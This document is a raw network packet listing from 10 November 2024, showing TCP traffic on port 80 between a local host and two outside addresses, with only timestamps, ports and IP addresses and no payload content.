Nov 10, 2024 19:44:23.562565088 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562577009 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562587023 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562596083 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562608957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562613964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562623978 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562633038 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562640905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562653065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562663078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562673092 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562680006 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562691927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562704086 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562717915 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562725067 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562740088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562748909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562763929 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562774897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562788963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562798977 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562815905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562834978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562840939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562855959 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562865019 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562872887 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562885046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562902927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562918901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562927008 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562939882 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562949896 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562963963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562971115 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.562985897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.562997103 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563005924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563016891 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563034058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563046932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563055038 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563067913 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563075066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563086033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563093901 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563106060 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563113928 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563122034 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563143969 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563148022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563158989 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563175917 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563185930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563199997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563204050 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563221931 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563225985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563232899 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563256979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563297987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563332081 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563337088 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563348055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563359022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563365936 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563376904 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563384056 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563393116 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563402891 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563414097 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563431025 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563442945 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563467979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563476086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563483953 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563491106 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563508987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563519955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563528061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563539982 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563556910 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563608885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563631058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563669920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563677073 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563689947 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563710928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563726902 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563736916 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563745975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563769102 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563779116 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563787937 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563796997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563802958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563837051 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563843966 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563852072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563868999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563889027 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563896894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563909054 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563919067 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.563934088 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.563947916 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.678744078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.678831100 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.865140915 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.865153074 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:23.869945049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:23.870071888 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:24.642030001 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:24.644598007 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:24.722131014 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:24.726952076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.002341032 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.002386093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.002398014 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.002479076 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:25.002564907 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:25.005134106 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:25.010281086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.285650969 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:25.285744905 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:25.297627926 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:25.303687096 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:26.068789005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:26.068851948 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:26.095520020 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:26.100472927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:26.383162022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:26.383224010 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:26.443931103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:26.448772907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:26.448841095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:26.449997902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:26.454909086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350182056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350223064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350233078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350260019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350277901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350292921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.350306988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350317001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350334883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.350339890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350349903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350361109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.350370884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.350379944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.350394964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.350413084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.355401993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.355412960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.355432034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.355439901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.355477095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.355520964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.504823923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.504846096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.504867077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.504904985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.504914999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.504924059 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.504956007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.505156994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505166054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505183935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505208015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.505224943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.505553961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505603075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.505646944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505656958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505664110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505669117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505675077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.505743027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.506524086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506541967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506551981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506598949 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.506608009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.506625891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506635904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506654024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.506670952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.506696939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.507507086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.507531881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.507539988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.507553101 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.507577896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.514795065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.516705036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659173012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659187078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659215927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659224987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659243107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659265041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659300089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659410000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659440994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659452915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659487963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659504890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659512997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659529924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659540892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659550905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659564018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659570932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659585953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659589052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.659603119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.659981966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.660337925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660347939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660384893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.660527945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660537958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660556078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660564899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.660582066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660590887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.660605907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.660656929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661097050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661109924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661137104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661140919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661149979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661156893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661170959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661184072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661189079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661204100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661207914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661218882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.661226988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661238909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.661256075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662060976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662082911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662100077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662106991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662121058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662142038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662187099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662197113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662206888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662213087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662231922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662244081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662303925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.662947893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662957907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.662978888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663002968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.663012028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.663033009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663043022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663060904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663074970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663079977 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.663089037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.663103104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.663110971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.663343906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.664110899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.664119005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.664164066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813216925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813240051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813260078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813293934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813313007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813323021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813335896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813344955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813380003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813385963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813409090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813416958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813429117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813446045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813452959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813471079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813476086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813484907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813499928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813549042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813572884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813585997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813591003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813620090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813636065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813643932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813657999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813666105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813677073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813685894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813694000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813702106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813724995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813730955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813743114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813776016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813783884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813798904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813816071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813836098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813843012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813855886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813868046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813875914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813896894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813901901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813910007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813922882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813937902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813946009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813957930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813978910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.813985109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.813997030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814023018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814033985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814044952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814055920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814063072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814076900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814088106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814115047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814137936 CET	80	49762	185.215.113.16	192.168.2.4
